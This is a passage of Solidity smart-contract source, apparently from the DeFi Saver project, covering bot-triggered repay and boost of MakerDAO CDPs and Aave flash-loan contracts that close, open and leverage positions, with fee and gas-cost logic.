monitorProxyContract = MCDMonitorProxyV2(_monitorProxy); subscriptionsContract = ISubscriptionsV2(_subscriptions); mcdSaverTakerAddress = _mcdSaverTakerAddress; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction function repayFor( uint _cdpId, uint _nextPrice, address _joinAddr, SaverExchangeCore.ExchangeData memory _exchangeData ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _cdpId, _nextPrice); require(isAllowed); uint gasCost = calcGasCost(REPAY_GAS_COST); address owner = subscriptionsContract.getOwner(_cdpId); monitorProxyContract.callExecute{value: msg.value}( owner, mcdSaverTakerAddress, abi.encodeWithSignature( "repayWithLoan(uint256,uint256,address,(address,address,uint256,uint256,uint256,address,address,bytes,uint256))", _cdpId, gasCost, _joinAddr, _exchangeData)); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _cdpId, _nextPrice); require(isGoodRatio); returnEth(); logger.Log(address(this), owner, "AutomaticMCDRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction function boostFor( uint _cdpId, uint _nextPrice, address _joinAddr, SaverExchangeCore.ExchangeData memory _exchangeData ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _cdpId, _nextPrice); require(isAllowed); uint gasCost = calcGasCost(BOOST_GAS_COST); address owner = subscriptionsContract.getOwner(_cdpId); monitorProxyContract.callExecute{value: msg.value}( owner, mcdSaverTakerAddress, abi.encodeWithSignature( "boostWithLoan(uint256,uint256,address,(address,address,uint256,uint256,uint256,address,address,bytes,uint256))", _cdpId, gasCost, _joinAddr, _exchangeData)); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _cdpId, _nextPrice); require(isGoodRatio); returnEth(); logger.Log(address(this), owner, "AutomaticMCDBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Returns an address that owns the CDP /// @param _cdpId Id of the CDP function getOwner(uint _cdpId) public view returns(address) { return manager.owns(_cdpId); } /// @notice Gets CDP info (collateral, debt) /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getCdpInfo(uint _cdpId, bytes32 _ilk) public view returns (uint, uint) { address urn = manager.urns(_cdpId); (uint collateral, uint debt) = vat.urns(_ilk, urn); (,uint rate,,,) = vat.ilks(_ilk); return (collateral, rmul(debt, rate)); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint) { (, uint mat) = spotter.ilks(_ilk); (,,uint spot,,) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } /// @notice Gets CDP ratio /// @param _cdpId Id of the CDP /// @param _nextPrice Next price for user function getRatio(uint _cdpId, uint _nextPrice) public view returns (uint) { bytes32 ilk = manager.ilks(_cdpId); uint price = (_nextPrice == 0) ? getPrice(ilk) : _nextPrice; (uint collateral, uint debt) = getCdpInfo(_cdpId, ilk); if (debt == 0) return 0; return rdiv(wmul(collateral, price), debt) / (10 ** 18); } /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by MCDMonitor to enforce the min/max check function canCall(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) { bool subscribed; CdpHolder memory holder; (subscribed, holder) = subscriptionsContract.getCdpHolder(_cdpId); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if using next price is allowed if (_nextPrice > 0 && !holder.nextPriceEnabled) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); // check if owner is still owner if (getOwner(_cdpId) != holder.owner) return (false, 0); uint currRatio = getRatio(_cdpId, _nextPrice); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call function ratioGoodAfter(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) { CdpHolder memory holder; (, holder) = subscriptionsContract.getCdpHolder(_cdpId); uint currRatio = getRatio(_cdpId, _nextPrice); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice Allows owner to change max gas price /// @param _maxGasPrice New max gas price function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner { require(_maxGasPrice < 500000000000); MAX_GAS_PRICE = _maxGasPrice; } /// @notice Allows owner to change the amount of gas token burned per function call /// @param _gasAmount Amount of gas token /// @param _isRepay Flag to know for which function we are setting the gas token amount function changeGasTokenAmount(uint _gasAmount, bool _isRepay) public onlyOwner { if (_isRepay) { REPAY_GAS_TOKEN = _gasAmount; } else { BOOST_GAS_TOKEN = _gasAmount; } } /// @notice Adds a new bot address which will be able to call repay/boost /// @param _caller Bot address function addCaller(address _caller) public onlyOwner { approvedCallers[_caller] = true; } /// @notice Removes a bot address so it can't call repay/boost /// @param _caller Bot address function removeCaller(address _caller) public onlyOwner { approvedCallers[_caller] = false; } } contract MCDCloseFlashLoan is SaverExchangeCore, MCDSaverProxyHelper, FlashLoanReceiverBase, AdminAuth { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); uint public constant SERVICE_FEE = 400; // 0.25% Fee bytes32 internal constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); Vat public constant vat = Vat(VAT_ADDRESS); struct CloseData { uint cdpId; uint collAmount; uint daiAmount; uint minAccepted; address joinAddr; address proxy; uint flFee; bool toDai; } constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { //check the contract has the specified balance require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance for the contract"); ( uint[8] memory numData, address[5] memory addrData, bytes memory callData, address proxy, bool toDai ) = abi.decode(_params, (uint256[8],address[5],bytes,address,bool)); ExchangeData memory exchangeData = ExchangeData({ srcAddr: addrData[0], destAddr: addrData[1], srcAmount: numData[4], destAmount: numData[5], minPrice: numData[6], wrapper: addrData[3], exchangeAddr: addrData[2], callData: callData, price0x: numData[7] }); CloseData memory closeData = CloseData({ cdpId: numData[0], collAmount: numData[1], daiAmount: numData[2], minAccepted: numData[3], joinAddr: addrData[4], proxy: proxy, flFee: _fee, toDai: toDai }); address collAddr = closeCDP(closeData, exchangeData); transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); sendLeftover(collAddr, DAI_ADDRESS, tx.origin); } function closeCDP( CloseData memory _closeData, ExchangeData memory _exchangeData ) internal returns (address) { paybackDebt(_closeData.cdpId, manager.ilks(_closeData.cdpId), _closeData.daiAmount); // payback whole debt drawMaxCollateral(_closeData.cdpId, _closeData.joinAddr, _closeData.collAmount); // draw whole collateral uint daiSwaped = 0; uint dfsFee = 0; address user = DSProxy(payable(_closeData.proxy)).owner(); if (_closeData.toDai) { _exchangeData.srcAmount = _closeData.collAmount; (, daiSwaped) = _sell(_exchangeData); dfsFee = getFee(daiSwaped, user); } else { dfsFee = getFee(_closeData.daiAmount, user); _exchangeData.destAmount = (_closeData.daiAmount + _closeData.flFee + dfsFee); (, daiSwaped) = _buy(_exchangeData); } takeFee(dfsFee); address tokenAddr = address(Join(_closeData.joinAddr).gem()); require(getBalance(tokenAddr) >= _closeData.minAccepted, "Below min. number of eth specified"); return tokenAddr; } function drawMaxCollateral(uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) { manager.frob(_cdpId, -toPositiveInt(_amount), 0); manager.flux(_cdpId, address(this), _amount); uint joinAmount = _amount; if (Join(_joinAddr).dec() != 18) { joinAmount = _amount / (10 ** (18 - Join(_joinAddr).dec())); } Join(_joinAddr).exit(address(this), joinAmount); if (_joinAddr == ETH_JOIN_ADDRESS) { Join(_joinAddr).gem().withdraw(joinAmount); // Weth -> Eth } return joinAmount; } function paybackDebt(uint _cdpId, bytes32 _ilk, uint _daiAmount) internal { address urn = manager.urns(_cdpId); daiJoin.dai().approve(DAI_JOIN_ADDRESS, _daiAmount); daiJoin.join(urn, _daiAmount); manager.frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk)); } function takeFee(uint _feeAmount) internal returns (uint) { ERC20(DAI_ADDRESS).transfer(WALLET_ID, _feeAmount); } function getFee(uint _amount, address _owner) internal view returns (uint feeAmount) { uint fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_owner)) { fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_owner); } feeAmount = (fee == 0) ? 0 : (_amount / fee); // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } } function getPrice(bytes32 _ilk) public view returns (uint256) { (, uint256 mat) = spotter.ilks(_ilk); (, , uint256 spot, , ) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {} } contract MCDCloseTaker is MCDSaverProxyHelper { address payable public constant MCD_CLOSE_FLASH_LOAN = 0xdFccc9C59c7361307d47c558ffA75840B32DbA29; address public constant SUBSCRIPTION_ADDRESS_NEW = 0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); // solhint-disable-next-line const-name-snakecase Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(DEFISAVER_LOGGER); struct CloseData { uint cdpId; address joinAddr; uint collAmount; uint daiAmount; uint minAccepted; bool wholeDebt; bool toDai; } Vat public constant vat = Vat(VAT_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); function closeWithLoan( SaverExchangeCore.ExchangeData memory _exchangeData, CloseData memory _closeData ) public payable { MCD_CLOSE_FLASH_LOAN.transfer(msg.value); // 0x fee if (_closeData.wholeDebt) { _closeData.daiAmount = getAllDebt( VAT_ADDRESS, manager.urns(_closeData.cdpId), manager.urns(_closeData.cdpId), manager.ilks(_closeData.cdpId) ); (_closeData.collAmount, ) = getCdpInfo(manager, _closeData.cdpId, manager.ilks(_closeData.cdpId)); } manager.cdpAllow(_closeData.cdpId, MCD_CLOSE_FLASH_LOAN, 1); (uint[8] memory numData, address[5] memory addrData, bytes memory callData) = _packData(_closeData, _exchangeData); bytes memory paramsData = abi.encode(numData, addrData, callData, address(this), _closeData.toDai); lendingPool.flashLoan(MCD_CLOSE_FLASH_LOAN, DAI_ADDRESS, _closeData.daiAmount, paramsData); manager.cdpAllow(_closeData.cdpId, MCD_CLOSE_FLASH_LOAN, 0); // If sub. to automatic protection unsubscribe unsubscribe(SUBSCRIPTION_ADDRESS_NEW, _closeData.cdpId); logger.Log(address(this), msg.sender, "MCDClose", abi.encode(_closeData.cdpId, _closeData.collAmount, _closeData.daiAmount, _closeData.toDai)); } /// @notice Gets the maximum amount of debt available to generate /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getMaxDebt(uint256 _cdpId, bytes32 _ilk) public view returns (uint256) { uint256 price = getPrice(_ilk); (, uint256 mat) = spotter.ilks(_ilk); (uint256 collateral, uint256 debt) = getCdpInfo(manager, _cdpId, _ilk); return sub(wdiv(wmul(collateral, price), mat), debt); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint256) { (, uint256 mat) = spotter.ilks(_ilk); (, , uint256 spot, , ) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } function unsubscribe(address _subContract, uint _cdpId) internal { (, bool isSubscribed) = IMCDSubscriptions(_subContract).subscribersPos(_cdpId); if (isSubscribed) { IMCDSubscriptions(_subContract).unsubscribe(_cdpId); } } function _packData( CloseData memory _closeData, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[8] memory numData, address[5] memory addrData, bytes memory callData) { numData = [ _closeData.cdpId, _closeData.collAmount, _closeData.daiAmount, _closeData.minAccepted, exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x ]; addrData = [ exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper, _closeData.joinAddr ]; callData = exchangeData.callData; } } contract MCDCreateFlashLoan is SaverExchangeCore, AdminAuth, FlashLoanReceiverBase { address public constant CREATE_PROXY_ACTIONS = 0x6d0984E80a86f26c0dd564ca0CF74a8E9Da03305; uint public constant SERVICE_FEE = 400; // 0.25% Fee address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { //check the contract has the specified balance require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance for the contract"); ( uint[6] memory numData, address[5] memory addrData, bytes memory callData, address proxy ) = abi.decode(_params, (uint256[6],address[5],bytes,address)); ExchangeData memory exchangeData = ExchangeData({ srcAddr: addrData[0], destAddr: addrData[1], srcAmount: numData[2], destAmount: numData[3], minPrice: numData[4], wrapper: addrData[3], exchangeAddr: addrData[2], callData: callData, price0x: numData[5] }); openAndLeverage(numData[0], numData[1] + _fee, addrData[4], proxy, exchangeData); transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function openAndLeverage( uint _collAmount, uint _daiAmountAndFee, address _joinAddr, address _proxy, ExchangeData memory _exchangeData ) public { uint dfsFee = getFee(_exchangeData.srcAmount, DSProxy(payable(_proxy)).owner()); _exchangeData.srcAmount = (_exchangeData.srcAmount - dfsFee); (, uint256 collSwaped) = _sell(_exchangeData); bytes32 ilk = Join(_joinAddr).ilk(); if (_joinAddr == ETH_JOIN_ADDRESS) { MCDCreateProxyActions(CREATE_PROXY_ACTIONS).openLockETHAndDraw{value: address(this).balance}( MANAGER_ADDRESS, JUG_ADDRESS, ETH_JOIN_ADDRESS, DAI_JOIN_ADDRESS, ilk, _daiAmountAndFee, _proxy ); } else { Join(_joinAddr).gem().approve(CREATE_PROXY_ACTIONS, uint256(-1)); MCDCreateProxyActions(CREATE_PROXY_ACTIONS).openLockGemAndDraw( MANAGER_ADDRESS, JUG_ADDRESS, _joinAddr, DAI_JOIN_ADDRESS, ilk, (_collAmount + collSwaped), _daiAmountAndFee, true, _proxy ); } } function getFee(uint _amount, address _owner) internal returns (uint feeAmount) { uint fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_owner)) { fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_owner); } feeAmount = (fee == 0) ? 0 : (_amount / fee); // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } ERC20(DAI_ADDRESS).transfer(WALLET_ID, feeAmount); } receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {} } contract MCDSaverProxy is SaverExchangeCore, MCDSaverProxyHelper { uint public constant SERVICE_FEE = 400; // 0.25% Fee bytes32 public constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; Manager public constant manager = Manager(MANAGER_ADDRESS); Vat public constant vat = Vat(VAT_ADDRESS); DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Repay - draws collateral, converts to Dai and repays the debt /// @dev Must be called by the DSProxy contract that owns the CDP function repay( SaverExchangeCore.ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr ) public payable { address owner = getOwner(manager, _cdpId); bytes32 ilk = manager.ilks(_cdpId); drawCollateral(_cdpId, _joinAddr, _exchangeData.srcAmount); (, uint daiAmount) = _sell(_exchangeData); uint daiAfterFee = sub(daiAmount, getFee(daiAmount, _gasCost, owner)); paybackDebt(_cdpId, ilk, daiAfterFee, owner); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } logger.Log(address(this), msg.sender, "MCDRepay", abi.encode(_cdpId, owner, _exchangeData.srcAmount, daiAmount)); } /// @notice Boost - draws Dai, converts to collateral and adds to CDP /// @dev Must be called by the DSProxy contract that owns the CDP function boost( SaverExchangeCore.ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr ) public payable { address owner = getOwner(manager, _cdpId); bytes32 ilk = manager.ilks(_cdpId); uint daiDrawn = drawDai(_cdpId, ilk, _exchangeData.srcAmount); uint daiAfterFee = sub(daiDrawn, getFee(daiDrawn, _gasCost, owner)); _exchangeData.srcAmount = daiAfterFee; (, uint swapedColl) = _sell(_exchangeData); addCollateral(_cdpId, _joinAddr, swapedColl); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } logger.Log(address(this), msg.sender, "MCDBoost", abi.encode(_cdpId, owner, _exchangeData.srcAmount, swapedColl)); } /// @notice Draws Dai from the CDP /// @dev If _daiAmount is bigger than max available we'll draw max /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _daiAmount Amount of Dai to draw function drawDai(uint _cdpId, bytes32 _ilk, uint _daiAmount) internal returns (uint) { uint rate = Jug(JUG_ADDRESS).drip(_ilk); uint daiVatBalance = vat.dai(manager.urns(_cdpId)); uint maxAmount = getMaxDebt(_cdpId, _ilk); if (_daiAmount >= maxAmount) { _daiAmount = sub(maxAmount, 1); } manager.frob(_cdpId, int(0), normalizeDrawAmount(_daiAmount, rate, daiVatBalance)); manager.move(_cdpId, address(this), toRad(_daiAmount)); if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) { vat.hope(DAI_JOIN_ADDRESS); } DaiJoin(DAI_JOIN_ADDRESS).exit(address(this), _daiAmount); return _daiAmount; } /// @notice Adds collateral to the CDP /// @param _cdpId Id of the CDP /// @param _joinAddr Address of the join contract for the CDP collateral /// @param _amount Amount of collateral to add function addCollateral(uint _cdpId, address _joinAddr, uint _amount) internal { int convertAmount = 0; if (_joinAddr == ETH_JOIN_ADDRESS) { Join(_joinAddr).gem().deposit{value: _amount}(); convertAmount = toPositiveInt(_amount); } else { convertAmount = toPositiveInt(convertTo18(_joinAddr, _amount)); } Join(_joinAddr).gem().approve(_joinAddr, _amount); Join(_joinAddr).join(address(this), _amount); vat.frob( manager.ilks(_cdpId), manager.urns(_cdpId), address(this), address(this), convertAmount, 0 ); } /// @notice Draws collateral and returns it to DSProxy /// @dev If _amount is bigger than max available we'll draw max /// @param _cdpId Id of the CDP /// @param _joinAddr Address of the join contract for the CDP collateral /// @param _amount Amount of collateral to draw function drawCollateral(uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) { uint frobAmount = _amount; if (Join(_joinAddr).dec() != 18) { frobAmount = _amount * (10 ** (18 - Join(_joinAddr).dec())); } manager.frob(_cdpId, -toPositiveInt(frobAmount), 0); manager.flux(_cdpId, address(this), frobAmount); Join(_joinAddr).exit(address(this), _amount); if (_joinAddr == ETH_JOIN_ADDRESS) { Join(_joinAddr).gem().withdraw(_amount); // Weth -> Eth } return _amount; } /// @notice Paybacks Dai debt /// @dev If the _daiAmount is bigger than the whole debt, returns extra Dai /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _daiAmount Amount of Dai to payback /// @param _owner Address that owns the DSProxy that owns the CDP function paybackDebt(uint _cdpId, bytes32 _ilk, uint _daiAmount, address _owner) internal { address urn = manager.urns(_cdpId); uint wholeDebt = getAllDebt(VAT_ADDRESS, urn, urn, _ilk); if (_daiAmount > wholeDebt) { ERC20(DAI_ADDRESS).transfer(_owner, sub(_daiAmount, wholeDebt)); _daiAmount = wholeDebt; } if (ERC20(DAI_ADDRESS).allowance(address(this), DAI_JOIN_ADDRESS) == 0) { ERC20(DAI_ADDRESS).approve(DAI_JOIN_ADDRESS, uint(-1)); } daiJoin.join(urn, _daiAmount); manager.frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk)); } /// @notice Calculates the fee amount /// @param _amount Dai amount that is converted /// @param _gasCost Used for Monitor, estimated gas cost of tx /// @param _owner The address that controlls the DSProxy that owns the CDP function getFee(uint _amount, uint _gasCost, address _owner) internal returns (uint feeAmount) { uint fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_owner)) { fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_owner); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { uint ethDaiPrice = getPrice(ETH_ILK); _gasCost = rmul(_gasCost, ethDaiPrice); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } ERC20(DAI_ADDRESS).transfer(WALLET_ID, feeAmount); } /// @notice Gets the maximum amount of collateral available to draw /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _joinAddr Joind address of collateral /// @dev Substracts 10 wei to aviod rounding error later on function getMaxCollateral(uint _cdpId, bytes32 _ilk, address _joinAddr) public view returns (uint) { uint price = getPrice(_ilk); (uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk); (, uint mat) = Spotter(SPOTTER_ADDRESS).ilks(_ilk); uint maxCollateral = sub(sub(collateral, (div(mul(mat, debt), price))), 10); uint normalizeMaxCollateral = maxCollateral; if (Join(_joinAddr).dec() != 18) { normalizeMaxCollateral = maxCollateral / (10 ** (18 - Join(_joinAddr).dec())); } return normalizeMaxCollateral; } /// @notice Gets the maximum amount of debt available to generate /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @dev Substracts 10 wei to aviod rounding error later on function getMaxDebt(uint _cdpId, bytes32 _ilk) public virtual view returns (uint) { uint price = getPrice(_ilk); (, uint mat) = spotter.ilks(_ilk); (uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk); return sub(sub(div(mul(collateral, price), mat), debt), 10); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint) { (, uint mat) = spotter.ilks(_ilk); (,,uint spot,,) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } /// @notice Gets CDP ratio /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getRatio(uint _cdpId, bytes32 _ilk) public view returns (uint) { uint price = getPrice( _ilk); (uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk); if (debt == 0) return 0; return rdiv(wmul(collateral, price), debt); } /// @notice Gets CDP info (collateral, debt, price, ilk) /// @param _cdpId Id of the CDP function getCdpDetailedInfo(uint _cdpId) public view returns (uint collateral, uint debt, uint price, bytes32 ilk) { address urn = manager.urns(_cdpId); ilk = manager.ilks(_cdpId); (collateral, debt) = vat.urns(ilk, urn); (,uint rate,,,) = vat.ilks(ilk); debt = rmul(debt, rate); price = getPrice(ilk); } } contract MCDSaverTaker is MCDSaverProxy, GasBurner { address payable public constant MCD_SAVER_FLASH_LOAN = 0x28e444b53a9e7E3F6fFe50E93b18dCce7838551F; address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); function boostWithLoan( SaverExchangeCore.ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr ) public payable burnGas(25) { uint256 maxDebt = getMaxDebt(_cdpId, manager.ilks(_cdpId)); if (maxDebt >= _exchangeData.srcAmount) { boost(_exchangeData, _cdpId, _gasCost, _joinAddr); return; } MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee uint256 loanAmount = sub(_exchangeData.srcAmount, maxDebt); uint maxLiq = getAvailableLiquidity(_joinAddr); loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount; manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 1); bytes memory paramsData = abi.encode(packExchangeData(_exchangeData), _cdpId, _gasCost, _joinAddr, false); lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, DAI_ADDRESS, loanAmount, paramsData); manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 0); } function repayWithLoan( SaverExchangeCore.ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr ) public payable burnGas(25) { uint256 maxColl = getMaxCollateral(_cdpId, manager.ilks(_cdpId), _joinAddr); if (maxColl >= _exchangeData.srcAmount) { repay(_exchangeData, _cdpId, _gasCost, _joinAddr); return; } MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee uint256 loanAmount = sub(_exchangeData.srcAmount, maxColl); uint maxLiq = getAvailableLiquidity(_joinAddr); loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount; manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 1); bytes memory paramsData = abi.encode(packExchangeData(_exchangeData), _cdpId, _gasCost, _joinAddr, true); lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, getAaveCollAddr(_joinAddr), loanAmount, paramsData); manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 0); } /// @notice Gets the maximum amount of debt available to generate /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getMaxDebt(uint256 _cdpId, bytes32 _ilk) public override view returns (uint256) { uint256 price = getPrice(_ilk); (, uint256 mat) = spotter.ilks(_ilk); (uint256 collateral, uint256 debt) = getCdpInfo(manager, _cdpId, _ilk); return sub(wdiv(wmul(collateral, price), mat), debt); } function getAaveCollAddr(address _joinAddr) internal view returns (address) { if (_joinAddr == 0x2F0b23f53734252Bda2277357e97e1517d6B042A || _joinAddr == 0x775787933e92b709f2a3C70aa87999696e74A9F8) { return KYBER_ETH_ADDRESS; } else { return getCollateralAddr(_joinAddr); } } function getAvailableLiquidity(address _joinAddr) internal view returns (uint liquidity) { address tokenAddr = getAaveCollAddr(_joinAddr); if (tokenAddr == KYBER_ETH_ADDRESS) { liquidity = 